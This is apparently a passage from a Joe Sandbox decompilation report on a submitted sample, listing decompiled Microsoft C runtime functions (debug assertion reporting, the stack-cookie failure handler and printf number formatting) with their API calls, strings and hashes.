Opcode ID: b2bfeb70ead50d8c6d8d5e1f3fe69de5ff63f78c04fe0ba117bd8fb2be86154e
Instruction ID: b781fc2042546c632a907d550387a4862d5419236158760b753553be2b3f95b5
Opcode Fuzzy Hash: b2bfeb70ead50d8c6d8d5e1f3fe69de5ff63f78c04fe0ba117bd8fb2be86154e
Instruction Fuzzy Hash: E7127374D40314EADB20EF54DC5ABEA73F4AB04745F1481D8F61DA62E1DBB4AA84CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 00B886DE Relevance: 96.7, APIs: 32, Strings: 23, Instructions: 431
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E00B886DE(struct _OVERLAPPED* __ecx) {
				CHAR* _t147;
				long _t160;
				void* _t164;
				void* _t167;
				void* _t171;
				struct _OVERLAPPED* _t179;
				struct _OVERLAPPED* _t197;
				struct _OVERLAPPED** _t198;
				void* _t208;
				void* _t209;
				void* _t259;
				void* _t260;
				void* _t261;
				void* _t262;
				signed int _t263;
				void* _t265;
				void* _t267;
				void* _t269;
				void* _t271;

				_t210 = __ecx;
				if(InterlockedIncrement(0xd11d48) <= 0) {
					if( *((intOrPtr*)(_t263 + 0x18)) != 0) {
						 *(_t263 - 0x5034) = 0;
						 *(_t263 - 0x5038) =  *(L00B80C60(_t210));
						 *(L00B80C60( *(L00B80C60(_t210)))) = 0;
						_t236 = _t263 - 0x5030;
						_t197 = E00B92320(_t263 - 0x5030, 0x1000, 0xfeb,  *((intOrPtr*)(_t263 + 0x18)),  *((intOrPtr*)(_t263 + 0x1c)));
						_t265 = _t265 + 0x14;
						 *(_t263 - 0x5034) = _t197;
						if( *(_t263 - 0x5034) < 0) {
							E00B7DC00( *((intOrPtr*)(L00B80C60(_t236))), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x12d, 0);
							_t265 = _t265 + 0x20;
						}
						_t198 = L00B80C60(_t236);
						_t210 =  *(_t263 - 0x5038);
						 *_t198 =  *(_t263 - 0x5038);
						if( *(_t263 - 0x5034) < 0) {
							E00B7DBD0(E00B80CC0(_t208, _t210, _t259, _t261, _t263 - 0x5030, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t199, L"strcpy_s(szUserMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x130, 0);
							_t265 = _t265 + 0x24;
						}
					}
					if( *(_t263 + 8) == 2) {
						if( *((intOrPtr*)(_t263 + 0x18)) == 0) {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed!";
						} else {
							 *((intOrPtr*)(_t263 - 0x5068)) = "Assertion failed: ";
						}
						_t210 = _t263 - 0x4030;
						E00B7DBD0(E00B80CC0(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000,  *((intOrPtr*)(_t263 - 0x5068))), _t192, L"strcpy_s(szLineMessage, 4096, szFormat ? \"Assertion failed: \" : \"Assertion failed!\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x135, 0);
						_t265 = _t265 + 0x24;
					}
					E00B7DBD0(E00B8FC60(_t208, _t210, _t259, _t261, _t263 - 0x4030, 0x1000, _t263 - 0x5030), _t136, L"strcat_s(szLineMessage, 4096, szUserMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x137, 0);
					_t267 = _t265 + 0x24;
					if( *(_t263 + 8) == 2) {
						_t234 =  *(_t263 + 8);
						if(( *(0xd11d4c +  *(_t263 + 8) * 4) & 0x00000001) != 0) {
							E00B7DBD0(E00B8FC60(_t208, _t234, _t259, _t261, _t263 - 0x4030, 0x1000, "\r"), _t189, L"strcat_s(szLineMessage, 4096, \"\\r\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13c, 0);
							_t267 = _t267 + 0x24;
						}
						_t210 = _t263 - 0x4030;
						E00B7DBD0(E00B8FC60(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x4030, 0x1000, 0xb7122c), _t186, L"strcat_s(szLineMessage, 4096, \"\\n\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x13d, 0);
						_t267 = _t267 + 0x24;
					}
					if( *(_t263 + 0xc) == 0) {
						E00B7DBD0(E00B80CC0(_t208, _t263 - 0x4030, _t259, _t261, _t263 - 0x3028, 0x1000, _t263 - 0x4030), _t138, L"strcpy_s(szOutMessage, 4096, szLineMessage)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x14b, 0);
						_t269 = _t267 + 0x24;
					} else {
						 *(_t263 - 0x503c) = 0;
						 *(_t263 - 0x5040) =  *(L00B80C60(_t210));
						 *(L00B80C60(_t210)) = 0;
						_push(_t263 - 0x4030);
						_t233 =  *(_t263 + 0x10);
						_push( *(_t263 + 0x10));
						_t179 = E00B8C5E0( *(_t263 + 0x10), _t263 - 0x3028, 0x1000, 0xfff, "%s(%d) : %s",  *(_t263 + 0xc));
						_t269 = _t267 + 0x1c;
						 *(_t263 - 0x503c) = _t179;
						if( *(_t263 - 0x503c) < 0) {
							E00B7DC00( *(L00B80C60(_t233)), 0x16, 0x22, L"(*_errno())", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x144, 0);
							_t269 = _t269 + 0x20;
						}
						 *(L00B80C60(_t233)) =  *(_t263 - 0x5040);
						if( *(_t263 - 0x503c) < 0) {
							E00B7DBD0(E00B80CC0(_t208, _t233, _t259, _t261, _t263 - 0x3028, 0x1000, "_CrtDbgReport: String too long or IO Error"), _t182, L"strcpy_s(szOutMessage, 4096, \"_CrtDbgReport: String too long or IO Error\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x147, 0);
							_t269 = _t269 + 0x24;
						}
					}
					 *(_t263 - 0x5044) = 0;
					 *(_t263 - 0x5048) = 0;
					_t240 = _t263 - 0x5044;
					 *(_t263 - 0x5048) = E00B91B10(_t263 - 0x5044, _t263 - 0x2020, 0x1000, _t263 - 0x3028, 0xffffffff);
					E00B7DC00( *(_t263 - 0x5048), 0x16, 0x22, L"e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x150, 0);
					_t271 = _t269 + 0x34;
					if( *(_t263 - 0x5048) != 0) {
						E00B7DBD0(E00B899D0(_t208, _t263 - 0x2020, _t259, _t261, _t263 - 0x2020, 0x1000, L"_CrtDbgReport: String too long or Invalid characters in String"), _t173, L"wcscpy_s(szOutMessage2, 4096, L\"_CrtDbgReport: String too long or Invalid characters in String\")", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x152, 0);
						_t271 = _t271 + 0x24;
					}
					if( *0xd13018 != 0 ||  *0xd13014 != 0) {
						 *(_t263 - 0x5050) = 0;
						 *(_t263 - 0x504c) = 0;
						L00B81250(_t208, _t259, _t261, 0xf);
						_t271 = _t271 + 4;
						 *(_t263 - 4) = 1;
						_t240 =  *0xd13018;
						 *(_t263 - 0x5050) =  *0xd13018;
						while( *(_t263 - 0x5050) != 0) {
							 *(_t263 - 0x5054) = 0;
							_t240 =  *(_t263 - 0x5050);
							_t171 =  *(( *(_t263 - 0x5050))[0xc])( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x5054);
							_t271 = _t271 + 0xc;
							if(_t171 == 0) {
								 *(_t263 - 0x5050) = ( *(_t263 - 0x5050))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5054);
							break;
						}
						if( *(_t263 - 0x302c) != 0) {
							L43:
							 *(_t263 - 4) = 0;
							E00B88C75();
							goto L44;
						}
						_t240 =  *0xd13014;
						 *(_t263 - 0x504c) =  *0xd13014;
						while( *(_t263 - 0x504c) != 0) {
							 *(_t263 - 0x5058) = 0;
							_t240 =  *(_t263 - 0x504c);
							_t167 =  *(( *(_t263 - 0x504c))[0xc])( *(_t263 + 8), _t263 - 0x2020, _t263 - 0x5058);
							_t271 = _t271 + 0xc;
							if(_t167 == 0) {
								 *(_t263 - 0x504c) = ( *(_t263 - 0x504c))[4];
								continue;
							}
							 *(_t263 - 0x302c) = 1;
							 *(_t263 - 0x2024) =  *(_t263 - 0x5058);
							goto L43;
						}
						goto L43;
					} else {
						L44:
						if( *(_t263 - 0x302c) == 0) {
							if( *0xd13010 != 0) {
								 *(_t263 - 0x505c) = 0;
								_t240 = _t263 - 0x505c;
								_t164 =  *0xd13010( *(_t263 + 8), _t263 - 0x3028, _t263 - 0x505c);
								_t271 = _t271 + 0xc;
								if(_t164 != 0) {
									 *(_t263 - 0x302c) = 1;
									_t240 =  *(_t263 - 0x505c);
									 *(_t263 - 0x2024) =  *(_t263 - 0x505c);
								}
							}
							if( *(_t263 - 0x302c) == 0) {
								if(( *(0xd11d4c +  *(_t263 + 8) * 4) & 0x00000001) != 0 &&  *(0xd11d58 +  *(_t263 + 8) * 4) != 0xffffffff) {
									_t160 = E00B805E0(_t263 - 0x3028);
									_t271 = _t271 + 4;
									WriteFile( *(0xd11d58 +  *(_t263 + 8) * 4), _t263 - 0x3028, _t160, _t263 - 0x5060, 0);
								}
								if(( *(0xd11d4c +  *(_t263 + 8) * 4) & 0x00000002) != 0) {
									OutputDebugStringA(_t263 - 0x3028);
								}
								_t240 =  *(_t263 + 8);
								if(( *(0xd11d4c +  *(_t263 + 8) * 4) & 0x00000004) != 0) {
									 *(_t263 - 0x4030) = 0;
									if( *(_t263 + 0x10) != 0) {
										E00B7DBD0(E00B92350(_t263 - 0x4030,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t157, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x1a2, 0);
										_t271 = _t271 + 0x28;
									}
									asm("sbb edx, edx");
									_t240 =  *(_t263 + 8);
									 *(_t263 - 0x2024) = L00B89F40(_t208,  *(_t263 + 8), _t259, _t261,  *(_t263 + 8),  *(_t263 + 0xc),  ~( *(_t263 + 0x10)) & _t263 - 0x00004030,  *((intOrPtr*)(_t263 + 0x14)), _t263 - 0x5030);
								}
							}
						}
						L58:
						 *(_t263 - 4) = 0xfffffffe;
						E00B88DDF();
						_t147 =  *(_t263 - 0x2024);
						 *[fs:0x0] =  *((intOrPtr*)(_t263 - 0x10));
						_pop(_t260);
						_pop(_t262);
						_pop(_t209);
						return E00B805D0(_t147, _t209,  *(_t263 - 0x1c) ^ _t263, _t240, _t260, _t262);
					}
				}
				E00B7DBD0(E00B92350(_t210,  *(_t263 + 0x10), _t263 - 0x4030, 0x1000, 0xa), _t204, L"_itoa_s(nLine, szLineMessage, 4096, 10)", L"_VCrtDbgReportA", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgrptt.c", 0x119, 0);
				OutputDebugStringA("Second Chance Assertion Failed: File ");
				if( *(_t263 + 0xc) == 0) {
					 *(_t263 - 0x5064) = "<file unknown>";
				} else {
					 *(_t263 - 0x5064) =  *(_t263 + 0xc);
				}
				_t240 =  *(_t263 - 0x5064);
				OutputDebugStringA( *(_t263 - 0x5064));
				OutputDebugStringA(", Line ");
				OutputDebugStringA(_t263 - 0x4030);
				OutputDebugStringA(0xb7122c);
				E00B885E0(_t263 - 0x4030);
				 *(_t263 - 0x2024) = 0xffffffff;
				goto L58;
			}

0x00b886de
0x00b886eb
0x00b88798
0x00b8879e
0x00b887af
0x00b887ba
0x00b887d2
0x00b887d9
0x00b887de
0x00b887e1
0x00b887ee
0x00b88812
0x00b88817
0x00b88817
0x00b8881a
0x00b8881f
0x00b88825
0x00b8882e
0x00b88860
0x00b88865
0x00b88865
0x00b8882e
0x00b8886c
0x00b88872
0x00b88880
0x00b88874
0x00b88874
0x00b88874
0x00b888ac
0x00b888bc
0x00b888c1
0x00b888c1
0x00b888f6
0x00b888fb
0x00b88902
0x00b88904
0x00b88911
0x00b88943
0x00b88948
0x00b88948
0x00b8896b
0x00b8897b
0x00b88980
0x00b88980
0x00b88987
0x00b88a97
0x00b88a9c
0x00b8898d
0x00b8898d
0x00b8899e
0x00b889a9
0x00b889b5
0x00b889b6
0x00b889b9
0x00b889d4
0x00b889d9
0x00b889dc
0x00b889e9
0x00b88a0d
0x00b88a12
0x00b88a12
0x00b88a20
0x00b88a29
0x00b88a5b
0x00b88a60
0x00b88a60
0x00b88a63
0x00b88a9f
0x00b88aa9
0x00b88ac8
0x00b88ad7
0x00b88afe
0x00b88b03
0x00b88b0d
0x00b88b3f
0x00b88b44
0x00b88b44
0x00b88b4e
0x00b88b5d
0x00b88b67
0x00b88b73
0x00b88b78
0x00b88b7b
0x00b88b82
0x00b88b88
0x00b88b9f
0x00b88ba8
0x00b88bc4
0x00b88bcd
0x00b88bcf
0x00b88bd4
0x00b88b99
0x00000000
0x00b88b99
0x00b88bd6
0x00b88be6
0x00000000
0x00b88be6
0x00b88bf7
0x00b88c67
0x00b88c67
0x00b88c6e
0x00000000
0x00b88c6e
0x00b88bf9
0x00b88bff
0x00b88c16
0x00b88c1f
0x00b88c3b
0x00b88c44
0x00b88c46
0x00b88c4b
0x00b88c10
0x00000000
0x00b88c10
0x00b88c4d
0x00b88c5d
0x00000000
0x00b88c5d
0x00000000
0x00b88c80
0x00b88c80
0x00b88c87
0x00b88c94
0x00b88c96
0x00b88ca0
0x00b88cb2
0x00b88cb8
0x00b88cbd
0x00b88cbf
0x00b88cc9
0x00b88ccf
0x00b88ccf
0x00b88cbd
0x00b88cdc
0x00b88cef
0x00b88d0e
0x00b88d13
0x00b88d29
0x00b88d29
0x00b88d3c
0x00b88d45
0x00b88d45
0x00b88d4b
0x00b88d58
0x00b88d5a
0x00b88d65
0x00b88d98
0x00b88d9d
0x00b88d9d
0x00b88db0
0x00b88dbf
0x00b88dcb
0x00b88dcb
0x00b88d58
0x00b88cdc
0x00b88dd1
0x00b88dd1
0x00b88dd8
0x00b88df1
0x00b88dfa
0x00b88e02
0x00b88e03
0x00b88e04
0x00b88e12
0x00b88e12
0x00b88b4e
0x00b88722
0x00b8872f
0x00b88739
0x00b88746
0x00b8873b
0x00b8873e
0x00b8873e
0x00b88750
0x00b88757
0x00b88762
0x00b8876f
0x00b8877a
0x00b88780
0x00b88785
0x00000000

APIs

InterlockedIncrement.KERNEL32(00D11D48), ref: 00B886E3
__invoke_watson_if_error.LIBCMTD ref: 00B88722
OutputDebugStringA.KERNEL32(Second Chance Assertion Failed: File ), ref: 00B8872F
OutputDebugStringA.KERNEL32(00B74A28), ref: 00B88757
OutputDebugStringA.KERNEL32(, Line ), ref: 00B88762
OutputDebugStringA.KERNEL32(?), ref: 00B8876F
OutputDebugStringA.KERNEL32(00B7122C), ref: 00B8877A
__invoke_watson_if_error.LIBCMTD ref: 00B88943

Part of subcall function 00B7DBD0: __invoke_watson.LIBCMTD ref: 00B7DBF1

_wcscat_s.LIBCMTD ref: 00B8893A

Part of subcall function 00B8FC60: __invalid_parameter.LIBCMTD ref: 00B8FCD2

_wcscat_s.LIBCMTD ref: 00B88972

Part of subcall function 00B8FC60: _memset.LIBCMT ref: 00B8FD3B
Part of subcall function 00B8FC60: __invalid_parameter.LIBCMTD ref: 00B8FD97

__invoke_watson_if_error.LIBCMTD ref: 00B8897B
__snwprintf_s.LIBCMTD ref: 00B889D4

Part of subcall function 00B8C5E0: __vsnprintf_s_l.LIBCMTD ref: 00B8C602

__invoke_watson_if_oneof.LIBCMTD ref: 00B88A0D
_wcscpy_s.LIBCMTD ref: 00B88A52
__invoke_watson_if_error.LIBCMTD ref: 00B88A5B
__cftoe.LIBCMTD ref: 00B88ACF
__invoke_watson_if_oneof.LIBCMTD ref: 00B88AFE
_wcscpy_s.LIBCMTD ref: 00B88B36
__invoke_watson_if_error.LIBCMTD ref: 00B88B3F
__itow_s.LIBCMTD ref: 00B88719

Part of subcall function 00B92350: _xtow_s@20.LIBCMTD ref: 00B9237B

__strftime_l.LIBCMTD ref: 00B887D9
__invoke_watson_if_oneof.LIBCMTD ref: 00B88812
_wcscpy_s.LIBCMTD ref: 00B88857
__invoke_watson_if_error.LIBCMTD ref: 00B88860
_wcscpy_s.LIBCMTD ref: 00B888B3
__invoke_watson_if_error.LIBCMTD ref: 00B888BC
__invoke_watson_if_error.LIBCMTD ref: 00B888F6

Strings

_CrtDbgReport: String too long or Invalid characters in String, xrefs: 00B88B25
Pns, xrefs: 00B888EC
_VCrtDbgReportA, xrefs: 00B886FD, 00B887FC, 00B8883C, 00B88896, 00B888D0, 00B8891F, 00B88957, 00B889F7, 00B88A37, 00B88AE9, 00B88B1B, 00B88D73
strcat_s(szLineMessage, 4096, szUserMessage), xrefs: 00B888D5
e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1)), xrefs: 00B88AEE
strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00B88A3C
%s(%d) : %s, xrefs: 00B889BE
strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!"), xrefs: 00B8889B
t9j, xrefs: 00B88D65
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c, xrefs: 00B886F8, 00B887F7, 00B88837, 00B88891, 00B888CB, 00B8891A, 00B88952, 00B889F2, 00B88A32, 00B88AE4, 00B88B16, 00B88D6E
wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String"), xrefs: 00B88B20
strcat_s(szLineMessage, 4096, "\r"), xrefs: 00B88924
<file unknown>, xrefs: 00B88746
strcat_s(szLineMessage, 4096, "\n"), xrefs: 00B8895C
Assertion failed!, xrefs: 00B88880
(*_errno()), xrefs: 00B88801, 00B889FC
strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error"), xrefs: 00B88841
t8j, xrefs: 00B88B0D
Second Chance Assertion Failed: File , xrefs: 00B8872A
, Line , xrefs: 00B8875D
Assertion failed: , xrefs: 00B88874
_itoa_s(nLine, szLineMessage, 4096, 10), xrefs: 00B88702, 00B88D78
_CrtDbgReport: String too long or IO Error, xrefs: 00B88846, 00B88A41

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __invoke_watson_if_error$DebugOutputString$_wcscpy_s$__invoke_watson_if_oneof$__invalid_parameter_wcscat_s$IncrementInterlocked__cftoe__invoke_watson__itow_s__snwprintf_s__strftime_l__vsnprintf_s_l_memset_xtow_s@20
String ID: %s(%d) : %s$(*_errno())$, Line $<file unknown>$Assertion failed!$Assertion failed: $Pns$Second Chance Assertion Failed: File $_CrtDbgReport: String too long or IO Error$_CrtDbgReport: String too long or Invalid characters in String$_VCrtDbgReportA$_itoa_s(nLine, szLineMessage, 4096, 10)$e = mbstowcs_s(&ret, szOutMessage2, 4096, szOutMessage, ((size_t)-1))$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgrptt.c$strcat_s(szLineMessage, 4096, "\n")$strcat_s(szLineMessage, 4096, "\r")$strcat_s(szLineMessage, 4096, szUserMessage)$strcpy_s(szLineMessage, 4096, szFormat ? "Assertion failed: " : "Assertion failed!")$strcpy_s(szOutMessage, 4096, "_CrtDbgReport: String too long or IO Error")$strcpy_s(szUserMessage, 4096, "_CrtDbgReport: String too long or IO Error")$t8j$t9j$wcscpy_s(szOutMessage2, 4096, L"_CrtDbgReport: String too long or Invalid characters in String")
API String ID: 2835757914-1519116558
Opcode ID: c373087031f0403aa58504035d3e2afecd910c359d2dfeb7e93186156ca172a0
Instruction ID: 48aa84c09023060ad9349ebbe94cb85024333ed67edf6e40a8aa4e43efe705bc
Opcode Fuzzy Hash: c373087031f0403aa58504035d3e2afecd910c359d2dfeb7e93186156ca172a0
Instruction Fuzzy Hash: C40282B4940308ABDB20EF54DC46F9E77F4AB04746F4481D8F61D6A2E1DBB49A84CFA4

Uniqueness

Uniqueness Score: -1.00%

Function 00B805D0 Relevance: 7.6, APIs: 5, Instructions: 59
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 85%

			E00B805D0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0xd11338; // 0x8bc2db00
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0xd12c80 = _t6;
				 *0xd12c7c = _t20;
				 *0xd12c78 = _t22;
				 *0xd12c74 = _t19;
				 *0xd12c70 = _t25;
				 *0xd12c6c = _t24;
				 *0xd12c98 = ss;
				 *0xd12c8c = cs;
				 *0xd12c68 = ds;
				 *0xd12c64 = es;
				 *0xd12c60 = fs;
				 *0xd12c5c = gs;
				asm("pushfd");
				_pop( *0xd12c90);
				 *0xd12c84 =  *_t29;
				 *0xd12c88 = _v0;
				 *0xd12c94 =  &_a4;
				 *0xd12bd0 = 0x10001;
				_t11 =  *0xd12c88; // 0x0
				 *0xd12b84 = _t11;
				 *0xd12b78 = 0xc0000409;
				 *0xd12b7c = 1;
				_t21 =  *0xd11338; // 0x8bc2db00
				_v812 = _t21;
				_t23 =  *0xd1133c; // 0x743d24ff
				_v808 = _t23;
				 *0xd12bc8 = IsDebuggerPresent();
				_push(1);
				E00B8A350(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0xb75570);
				if( *0xd12bc8 == 0) {
					_push(1);
					E00B8A350(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

0x00b805d0
0x00b805d0
0x00b805d0
0x00b805d0
0x00b805d0
0x00b805d0
0x00b805d0
0x00b805d6
0x00b805d8
0x00b805d8
0x00b8de5b
0x00b8de60
0x00b8de66
0x00b8de6c
0x00b8de72
0x00b8de78
0x00b8de7e
0x00b8de85
0x00b8de8c
0x00b8de93
0x00b8de9a
0x00b8dea1
0x00b8dea8
0x00b8dea9
0x00b8deb2
0x00b8deba
0x00b8dec2
0x00b8decd
0x00b8ded7
0x00b8dedc
0x00b8dee1
0x00b8deeb
0x00b8def5
0x00b8defb
0x00b8df01
0x00b8df07
0x00b8df13
0x00b8df18
0x00b8df1a
0x00b8df24
0x00b8df2f
0x00b8df3c
0x00b8df3e
0x00b8df40
0x00b8df45
0x00b8df5d

APIs

IsDebuggerPresent.KERNEL32 ref: 00B8DF0D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00B8DF24
UnhandledExceptionFilter.KERNEL32(00B75570), ref: 00B8DF2F
GetCurrentProcess.KERNEL32(C0000409), ref: 00B8DF4D
TerminateProcess.KERNEL32(00000000), ref: 00B8DF54

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: fa411d58f942afee5249801f5c8e90af3fb1234f740887a8e898335de000eaed
Instruction ID: a7a1801c6f00867fdfe667695d4429702d1cc7a7034615f92661e58f016da210
Opcode Fuzzy Hash: fa411d58f942afee5249801f5c8e90af3fb1234f740887a8e898335de000eaed
Instruction Fuzzy Hash: CD21C0B8910304ABD710DF69E9856A97BA6FB08310F00C55AEA09C3374EF7255A6CFA5

Uniqueness

Uniqueness Score: -1.00%

Function 00B85760 Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_000156F0), ref: 00B8576A

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: dc4ee09325c6e6b6f5036b6a08f6b00b94ff3af4ddf0b5fd3f8234d8c4e28cc7
Instruction ID: 8fc8dd1e663764555e719f40f10d5a8262d103c535cdd2947fd9129e2a7ebc9d
Opcode Fuzzy Hash: dc4ee09325c6e6b6f5036b6a08f6b00b94ff3af4ddf0b5fd3f8234d8c4e28cc7
Instruction Fuzzy Hash: 4BB012311542486782202BEAAC098127ACCC5C46303C10451F00D83060EC6194808971

Uniqueness

Uniqueness Score: -1.00%

Function 00B956E9 Relevance: 35.4, APIs: 15, Strings: 5, Instructions: 368
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00B956E9(signed int __edx) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				void* _t589;
				signed int _t611;
				signed int _t647;
				signed int _t649;
				signed int _t651;
				signed int _t658;
				signed int _t698;
				void* _t699;
				void* _t700;
				signed int _t701;
				void* _t703;
				void* _t704;
				signed int _t712;

				L0:
				while(1) {
					L0:
					_t647 = __edx;
					 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000040;
					 *(_t701 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t701 - 0x10) & 0x00008000) == 0) {
									_t649 =  *(_t701 - 0x10) & 0x00001000;
									if(_t649 == 0) {
										if(( *(_t701 - 0x10) & 0x00000020) == 0) {
											_t651 =  *(_t701 - 0x10) & 0x00000040;
											if(_t651 == 0) {
												_t496 = E00B93D50(_t701 + 0x14);
												_t704 = _t703 + 4;
												 *(_t701 - 0x2b8) = _t496;
												 *(_t701 - 0x2b4) = 0;
											} else {
												_t580 = E00B93D50(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t580;
												 *(_t701 - 0x2b4) = _t651;
											}
										} else {
											_t698 =  *(_t701 - 0x10) & 0x00000040;
											if(_t698 == 0) {
												_t581 = E00B93D50(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t701 - 0x2b4) = _t698;
											} else {
												_t584 = E00B93D50(_t701 + 0x14);
												_t704 = _t703 + 4;
												asm("cdq");
												 *(_t701 - 0x2b8) = _t584;
												 *(_t701 - 0x2b4) = _t698;
											}
										}
									} else {
										_t587 = E00B93D70(_t701 + 0x14);
										_t704 = _t703 + 4;
										 *(_t701 - 0x2b8) = _t587;
										 *(_t701 - 0x2b4) = _t649;
									}
								} else {
									_t588 = E00B93D70(_t701 + 0x14);
									_t704 = _t703 + 4;
									 *(_t701 - 0x2b8) = _t588;
									 *(_t701 - 0x2b4) = _t647;
								}
								if(( *(_t701 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t701 - 0x2c0) =  *(_t701 - 0x2b8);
									 *(_t701 - 0x2bc) =  *(_t701 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t712 =  *(_t701 - 0x2b4);
									if(_t712 > 0 || _t712 >= 0 &&  *(_t701 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t701 - 0x2c0) =  ~( *(_t701 - 0x2b8));
										 *(_t701 - 0x2bc) =  ~( *(_t701 - 0x2b4));
										 *(_t701 - 0x10) =  *(_t701 - 0x10) | 0x00000100;
										L171:
										if(( *(_t701 - 0x10) & 0x00008000) == 0 && ( *(_t701 - 0x10) & 0x00001000) == 0) {
